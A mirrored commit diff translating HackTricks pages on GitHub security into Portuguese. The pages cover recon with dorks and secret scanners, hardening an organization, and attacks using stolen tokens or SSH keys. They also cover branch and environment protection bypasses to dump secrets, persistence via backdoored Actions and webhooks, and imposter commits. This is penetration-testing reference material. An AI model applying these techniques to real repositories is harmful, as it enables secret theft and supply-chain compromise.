mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-02 11:00:16 -07:00
Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/
This commit is contained in:
@@ -2,41 +2,41 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Github
|
||||
## O que é o Github
|
||||
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
|
||||
(De [aqui](https://kinsta.com/knowledgebase/what-is-github/)) Em um nível alto, **o GitHub é um site e serviço baseado em nuvem que ajuda os desenvolvedores a armazenar e gerenciar seu código, além de rastrear e controlar alterações em seu código**.
|
||||
|
||||
### Basic Information
|
||||
### Informações Básicas
|
||||
|
||||
{{#ref}}
|
||||
basic-github-information.md
|
||||
{{#endref}}
|
||||
|
||||
## External Recon
|
||||
## Reconhecimento Externo
|
||||
|
||||
Github repositories can be configured as public, private and internal.
|
||||
Os repositórios do Github podem ser configurados como públicos, privados e internos.
|
||||
|
||||
- **Private** means that **only** people of the **organisation** will be able to access them
|
||||
- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
|
||||
- **Public** means that **all internet** is going to be able to access it.
|
||||
- **Privado** significa que **apenas** pessoas da **organização** poderão acessá-los
|
||||
- **Interno** significa que **apenas** pessoas da **empresa** (uma empresa pode ter várias organizações) poderão acessá-lo
|
||||
- **Público** significa que **toda a internet** poderá acessá-lo.
|
||||
|
||||
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
|
||||
Caso você conheça o **usuário, repositório ou organização que deseja atacar**, você pode usar **github dorks** para encontrar informações sensíveis ou pesquisar por **vazamentos de informações sensíveis** **em cada repositório**.
|
||||
|
||||
### Github Dorks
|
||||
|
||||
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
|
||||
O Github permite **pesquisar algo especificando como escopo um usuário, um repositório ou uma organização**. Portanto, com uma lista de strings que vão aparecer próximas a informações sensíveis, você pode facilmente **pesquisar por informações sensíveis potenciais em seu alvo**.
|
||||
|
||||
Tools (each tool contains its list of dorks):
|
||||
Ferramentas (cada ferramenta contém sua lista de dorks):
|
||||
|
||||
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
|
||||
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Lista de Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks))
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Lista de Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Lista de Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists))
|
||||
|
||||
### Github Leaks
|
||||
|
||||
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
|
||||
Por favor, note que os github dorks também são destinados a pesquisar vazamentos usando opções de pesquisa do github. Esta seção é dedicada a aquelas ferramentas que irão **baixar cada repositório e procurar informações sensíveis neles** (até verificando certa profundidade de commits).
|
||||
|
||||
Tools (each tool contains its list of regexes):
|
||||
Ferramentas (cada ferramenta contém sua lista de regexes):
|
||||
|
||||
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
|
||||
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
|
||||
@@ -47,202 +47,190 @@ Tools (each tool contains its list of regexes):
|
||||
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
|
||||
|
||||
> [!WARNING]
|
||||
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
|
||||
> Quando você procura por vazamentos em um repositório e executa algo como `git log -p`, não se esqueça de que pode haver **outras branches com outros commits** contendo segredos!
|
||||
|
||||
### External Forks
|
||||
### Forks Externos
|
||||
|
||||
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork).
|
||||
É possível **comprometer repositórios abusando de pull requests**. Para saber se um repositório é vulnerável, você precisa principalmente ler as configurações yaml do Github Actions. [**Mais informações sobre isso abaixo**](./#execution-from-a-external-fork).
|
||||
|
||||
### Github Leaks in deleted/internal forks
|
||||
### Github Leaks em forks deletados/internos
|
||||
|
||||
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
|
||||
Mesmo que deletados ou internos, pode ser possível obter dados sensíveis de forks de repositórios do github. Confira aqui:
|
||||
|
||||
{{#ref}}
|
||||
accessible-deleted-data-in-github.md
|
||||
{{#endref}}
|
||||
|
||||
## Organization Hardening
|
||||
## Fortalecimento da Organização
|
||||
|
||||
### Member Privileges
|
||||
### Privilégios dos Membros
|
||||
|
||||
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
Existem alguns **privilégios padrão** que podem ser atribuídos aos **membros** da organização. Estes podem ser controlados a partir da página `https://github.com/organizations/<org_name>/settings/member_privileges` ou da [**API de Organizações**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
|
||||
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
|
||||
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
|
||||
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
|
||||
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **More things can be configured** in this page but the previous are the ones more security related.
|
||||
- **Permissões básicas**: Os membros terão a permissão Nenhuma/Leitura/escrita/Admin sobre os repositórios da organização. O recomendado é **Nenhuma** ou **Leitura**.
|
||||
- **Fork de repositório**: Se não for necessário, é melhor **não permitir** que os membros façam fork dos repositórios da organização.
|
||||
- **Criação de páginas**: Se não for necessário, é melhor **não permitir** que os membros publiquem páginas dos repositórios da organização. Se necessário, você pode permitir a criação de páginas públicas ou privadas.
|
||||
- **Solicitações de acesso à integração**: Com isso habilitado, colaboradores externos poderão solicitar acesso a aplicativos do GitHub ou OAuth para acessar esta organização e seus recursos. Geralmente é necessário, mas se não for, é melhor desabilitar.
|
||||
- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
|
||||
- **Mudança de visibilidade do repositório**: Se habilitado, **membros** com permissões **admin** para o **repositório** poderão **mudar sua visibilidade**. Se desabilitado, apenas os proprietários da organização podem mudar as visibilidades dos repositórios. Se você **não** quiser que as pessoas tornem as coisas **públicas**, certifique-se de que isso esteja **desabilitado**.
|
||||
- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
|
||||
- **Exclusão e transferência de repositórios**: Se habilitado, membros com permissões **admin** para o repositório poderão **excluir** ou **transferir** repositórios públicos e privados.
|
||||
- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
|
||||
- **Permitir que membros criem equipes**: Se habilitado, qualquer **membro** da organização poderá **criar** novas **equipes**. Se desabilitado, apenas os proprietários da organização podem criar novas equipes. É melhor ter isso desabilitado.
|
||||
- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
|
||||
- **Mais coisas podem ser configuradas** nesta página, mas as anteriores são as mais relacionadas à segurança.
|
||||
|
||||
### Actions Settings
|
||||
### Configurações de Ações
|
||||
|
||||
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
|
||||
Várias configurações relacionadas à segurança podem ser configuradas para ações a partir da página `https://github.com/organizations/<org_name>/settings/actions`.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that all this configurations can also be set on each repository independently
|
||||
> Note que todas essas configurações também podem ser definidas em cada repositório de forma independente
|
||||
|
||||
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
- **Políticas de ações do Github**: Permite indicar quais repositórios podem executar fluxos de trabalho e quais fluxos de trabalho devem ser permitidos. É recomendado **especificar quais repositórios** devem ser permitidos e não permitir que todas as ações sejam executadas.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Fluxos de trabalho de pull request de fork de colaboradores externos**: É recomendado **exigir aprovação para todos** os colaboradores externos.
|
||||
- _Não consegui encontrar uma API com essa informação, compartilhe se você encontrar_
|
||||
- **Executar fluxos de trabalho de pull requests de fork**: É altamente **desaconselhado executar fluxos de trabalho de pull requests** pois os mantenedores do fork de origem terão a capacidade de usar tokens com permissões de leitura no repositório de origem.
|
||||
- _Não consegui encontrar uma API com essa informação, compartilhe se você encontrar_
|
||||
- **Permissões de fluxo de trabalho**: É altamente recomendado **dar apenas permissões de leitura de repositório**. É desaconselhado dar permissões de escrita e criar/aprovar pull requests para evitar o abuso do GITHUB_TOKEN dado para fluxos de trabalho em execução.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
|
||||
### Integrations
|
||||
### Integrações
|
||||
|
||||
_Let me know if you know the API endpoint to access this info!_
|
||||
_Deixe-me saber se você conhece o endpoint da API para acessar essa informação!_
|
||||
|
||||
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
|
||||
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
|
||||
- **Política de acesso a aplicativos de terceiros**: É recomendado restringir o acesso a todos os aplicativos e permitir apenas os necessários (após revisá-los).
|
||||
- **Aplicativos do GitHub instalados**: É recomendado permitir apenas os necessários (após revisá-los).
|
||||
|
||||
## Recon & Attacks abusing credentials
|
||||
## Reconhecimento e Ataques abusando de credenciais
|
||||
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
Para este cenário, vamos supor que você obteve algum acesso a uma conta do github.
|
||||
|
||||
### With User Credentials
|
||||
### Com Credenciais de Usuário
|
||||
|
||||
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
|
||||
Se de alguma forma você já tem credenciais de um usuário dentro de uma organização, você pode **apenas fazer login** e verificar quais **papéis de empresa e organização você tem**, se você é um membro comum, verifique quais **permissões os membros comuns têm**, em quais **grupos** você está, quais **permissões você tem** sobre quais **repositórios** e **como os repositórios estão protegidos**.
|
||||
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
Note que **2FA pode ser usado**, então você só poderá acessar essas informações se também conseguir **passar por essa verificação**.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
> Note que se você **conseguir roubar o cookie `user_session`** (atualmente configurado com SameSite: Lax), você pode **impersonar completamente o usuário** sem precisar de credenciais ou 2FA.
|
||||
|
||||
Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful.
|
||||
Verifique a seção abaixo sobre [**bypasses de proteção de branch**](./#branch-protection-bypass) caso seja útil.
|
||||
|
||||
### With User SSH Key
|
||||
### Com Chave SSH de Usuário
|
||||
|
||||
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
|
||||
O Github permite que **usuários** configurem **chaves SSH** que serão usadas como **método de autenticação para implantar código** em seu nome (nenhuma 2FA é aplicada).
|
||||
|
||||
Com essa chave, você pode realizar **alterações em repositórios onde o usuário tem alguns privilégios**, no entanto, você não pode usá-la para acessar a API do github para enumerar o ambiente. No entanto, você pode **enumerar configurações locais** para obter informações sobre os repositórios e o usuário ao qual você tem acesso:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
Se o usuário configurou seu nome de usuário como seu nome de usuário do github, você pode acessar as **chaves públicas que ele configurou** em sua conta em _https://github.com/\<github_username>.keys_, você pode verificar isso para confirmar se a chave privada que você encontrou pode ser usada.
|
||||
|
||||
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
**Chaves SSH** também podem ser configuradas em repositórios como **chaves de implantação**. Qualquer pessoa com acesso a essa chave poderá **iniciar projetos a partir de um repositório**. Normalmente, em um servidor com diferentes chaves de implantação, o arquivo local **`~/.ssh/config`** fornecerá informações sobre a chave relacionada.
|
||||
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
#### Chaves GPG
|
||||
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
Como explicado [**aqui**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), às vezes é necessário assinar os commits ou você pode ser descoberto.
|
||||
|
||||
Verifique localmente se o usuário atual possui alguma chave com:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### Com Token de Usuário
|
||||
|
||||
### With User Token
|
||||
Para uma introdução sobre [**Tokens de Usuário, verifique as informações básicas**](basic-github-information.md#personal-access-tokens).
|
||||
|
||||
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
|
||||
Um token de usuário pode ser usado **em vez de uma senha** para Git sobre HTTPS, ou pode ser usado para [**autenticar na API via Autenticação Básica**](https://docs.github.com/v3/auth/#basic-authentication). Dependendo dos privilégios associados a ele, você pode ser capaz de realizar diferentes ações.
|
||||
|
||||
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
|
||||
Um token de usuário se parece com isso: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
|
||||
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
### Com Aplicativo Oauth
|
||||
|
||||
### With Oauth Application
|
||||
Para uma introdução sobre [**Aplicativos Oauth do Github, verifique as informações básicas**](basic-github-information.md#oauth-applications).
|
||||
|
||||
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
|
||||
Um atacante pode criar um **Aplicativo Oauth malicioso** para acessar dados/ações privilegiados dos usuários que os aceitam, provavelmente como parte de uma campanha de phishing.
|
||||
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
Esses são os [escopos que um aplicativo Oauth pode solicitar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Um deve sempre verificar os escopos solicitados antes de aceitá-los.
|
||||
|
||||
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
|
||||
Além disso, como explicado nas informações básicas, **as organizações podem conceder/negá-los acesso a aplicativos de terceiros** a informações/repos/ações relacionadas à organização.
|
||||
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
### Com Aplicativo Github
|
||||
|
||||
### With Github Application
|
||||
Para uma introdução sobre [**Aplicativos do Github, verifique as informações básicas**](basic-github-information.md#github-applications).
|
||||
|
||||
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
|
||||
Um atacante pode criar um **Aplicativo Github malicioso** para acessar dados/ações privilegiados dos usuários que os aceitam, provavelmente como parte de uma campanha de phishing.
|
||||
|
||||
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
Além disso, como explicado nas informações básicas, **as organizações podem conceder/negá-los acesso a aplicativos de terceiros** a informações/repos/ações relacionadas à organização.
|
||||
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
## Comprometimento & Abuso da Ação do Github
|
||||
|
||||
## Compromise & Abuse Github Action
|
||||
|
||||
There are several techniques to compromise and abuse a Github Action, check them here:
|
||||
Existem várias técnicas para comprometer e abusar de uma Ação do Github, verifique-as aqui:
|
||||
|
||||
{{#ref}}
|
||||
abusing-github-actions/
|
||||
{{#endref}}
|
||||
|
||||
## Branch Protection Bypass
|
||||
## Bypass de Proteção de Branch
|
||||
|
||||
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
|
||||
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
|
||||
- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
|
||||
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
|
||||
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
|
||||
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
|
||||
- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
|
||||
- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
|
||||
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
|
||||
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
|
||||
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
|
||||
- **Exigir um número de aprovações**: Se você comprometeu várias contas, pode simplesmente aceitar seus PRs de outras contas. Se você tiver apenas a conta de onde criou o PR, não poderá aceitar seu próprio PR. No entanto, se você tiver acesso a um **ambiente de Ação do Github** dentro do repositório, usando o **GITHUB_TOKEN**, você pode ser capaz de **aprovar seu PR** e obter 1 aprovação dessa forma.
|
||||
- _Nota para isso e para a restrição de Proprietários de Código que geralmente um usuário não poderá aprovar seus próprios PRs, mas se você puder, pode abusar disso para aceitar seus PRs._
|
||||
- **Rejeitar aprovações quando novos commits são enviados**: Se isso não estiver configurado, você pode enviar código legítimo, esperar até que alguém o aprove e colocar código malicioso e mesclá-lo na branch protegida.
|
||||
- **Exigir revisões de Proprietários de Código**: Se isso estiver ativado e você for um Proprietário de Código, poderá fazer uma **Ação do Github criar seu PR e então aprová-lo você mesmo**.
|
||||
- Quando um **arquivo CODEOWNER está mal configurado**, o Github não reclama, mas não o utiliza. Portanto, se estiver mal configurado, **a proteção de Proprietários de Código não é aplicada.**
|
||||
- **Permitir que atores especificados contornem os requisitos de pull request**: Se você for um desses atores, pode contornar as proteções de pull request.
|
||||
- **Incluir administradores**: Se isso não estiver configurado e você for administrador do repositório, pode contornar essas proteções de branch.
|
||||
- **Sequestro de PR**: Você pode ser capaz de **modificar o PR de outra pessoa** adicionando código malicioso, aprovando o PR resultante você mesmo e mesclando tudo.
|
||||
- **Removendo Proteções de Branch**: Se você for um **administrador do repositório, pode desativar as proteções**, mesclar seu PR e reativar as proteções.
|
||||
- **Contornando proteções de push**: Se um repositório **somente permite certos usuários** enviar push (mesclar código) em branches (a proteção de branch pode estar protegendo todas as branches especificando o curinga `*`).
|
||||
- Se você tiver **acesso de escrita sobre o repositório, mas não for permitido enviar código** por causa da proteção de branch, ainda pode **criar uma nova branch** e dentro dela criar uma **ação do github que é acionada quando o código é enviado**. Como a **proteção de branch não protegerá a branch até que seja criada**, esse primeiro push de código para a branch **executará a ação do github**.
|
||||
|
||||
## Bypass Environments Protections
|
||||
## Bypass de Proteções de Ambientes
|
||||
|
||||
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
|
||||
Para uma introdução sobre [**Ambiente do Github, verifique as informações básicas**](basic-github-information.md#git-environments).
|
||||
|
||||
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
|
||||
|
||||
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
|
||||
Caso um ambiente possa ser **acessado de todas as branches**, ele **não está protegido** e você pode facilmente acessar os segredos dentro do ambiente. Note que você pode encontrar repositórios onde **todas as branches estão protegidas** (especificando seus nomes ou usando `*`); nesse cenário, **encontre uma branch onde você possa enviar código** e você pode **exfiltrar** os segredos criando uma nova ação do github (ou modificando uma).
|
||||
|
||||
Note que você pode encontrar o caso extremo onde **todas as branches estão protegidas** (via curinga `*`), é especificado **quem pode enviar código para as branches** (_você pode especificar isso na proteção de branch_) e **seu usuário não é permitido**. Você ainda pode executar uma ação do github personalizada porque pode criar uma branch e usar o gatilho de push sobre ela mesma. A **proteção de branch permite o push para uma nova branch, então a ação do github será acionada**.
|
||||
```yaml
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
```
|
||||
Note que **após a criação** do branch, a **proteção do branch será aplicada ao novo branch** e você não poderá modificá-lo, mas nesse momento você já terá extraído os segredos.
|
||||
|
||||
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
|
||||
## Persistência
|
||||
|
||||
## Persistence
|
||||
- Gerar **token de usuário**
|
||||
- Roubar **tokens do github** de **segredos**
|
||||
- **Deleção** de **resultados** e **branches** de workflow
|
||||
- Dar **mais permissões a toda a org**
|
||||
- Criar **webhooks** para exfiltrar informações
|
||||
- Convidar **colaboradores externos**
|
||||
- **Remover** **webhooks** usados pelo **SIEM**
|
||||
- Criar/modificar **Github Action** com uma **porta dos fundos**
|
||||
- Encontrar **Github Action vulnerável para injeção de comandos** via modificação de valor de **segredo**
|
||||
|
||||
- Generate **user token**
|
||||
- Steal **github tokens** from **secrets**
|
||||
- **Deletion** of workflow **results** and **branches**
|
||||
- Give **more permissions to all the org**
|
||||
- Create **webhooks** to exfiltrate information
|
||||
- Invite **outside collaborators**
|
||||
- **Remove** **webhooks** used by the **SIEM**
|
||||
- Create/modify **Github Action** with a **backdoor**
|
||||
- Find **vulnerable Github Action to command injection** via **secret** value modification
|
||||
### Commits de Impostor - Porta dos fundos via commits de repositório
|
||||
|
||||
### Imposter Commits - Backdoor via repo commits
|
||||
|
||||
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
|
||||
|
||||
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
No Github, é possível **criar um PR para um repositório a partir de um fork**. Mesmo que o PR não seja **aceito**, um **commit** id dentro do repositório original será criado para a versão fork do código. Portanto, um atacante **poderia fixar o uso de um commit específico de um repositório aparentemente legítimo que não foi criado pelo proprietário do repositório**.
|
||||
|
||||
Como [**este**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
```yaml
|
||||
name: example
|
||||
on: [push]
|
||||
jobs:
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
```
|
||||
|
||||
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
Para mais informações, consulte [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,389 +4,371 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
In this page you will find:
|
||||
Nesta página você encontrará:
|
||||
|
||||
- A **summary of all the impacts** of an attacker managing to access a Github Action
|
||||
- Different ways to **get access to an action**:
|
||||
- Having **permissions** to create the action
|
||||
- Abusing **pull request** related triggers
|
||||
- Abusing **other external access** techniques
|
||||
- **Pivoting** from an already compromised repo
|
||||
- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
|
||||
- Um **resumo de todos os impactos** de um atacante conseguindo acessar uma Github Action
|
||||
- Diferentes maneiras de **obter acesso a uma ação**:
|
||||
- Ter **permissões** para criar a ação
|
||||
- Abusar de **gatilhos** relacionados a pull requests
|
||||
- Abusar de **outras técnicas de acesso externo**
|
||||
- **Pivotar** de um repositório já comprometido
|
||||
- Finalmente, uma seção sobre **técnicas de pós-exploração para abusar de uma ação de dentro** (causando os impactos mencionados)
|
||||
|
||||
## Impacts Summary
|
||||
|
||||
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
Para uma introdução sobre [**Github Actions, confira as informações básicas**](../basic-github-information.md#github-actions).
|
||||
|
||||
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
|
||||
Se você pode **executar código arbitrário no GitHub Actions** dentro de um **repositório**, você pode ser capaz de:
|
||||
|
||||
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
|
||||
- **Compromise deployments** and other **artifacts**.
|
||||
- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
|
||||
- **Execute code in custom workers** to abuse computing power and pivot to other systems.
|
||||
- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
|
||||
- **Roubar segredos** montados no pipeline e **abusar dos privilégios do pipeline** para obter acesso não autorizado a plataformas externas, como AWS e GCP.
|
||||
- **Comprometer implantações** e outros **artefatos**.
|
||||
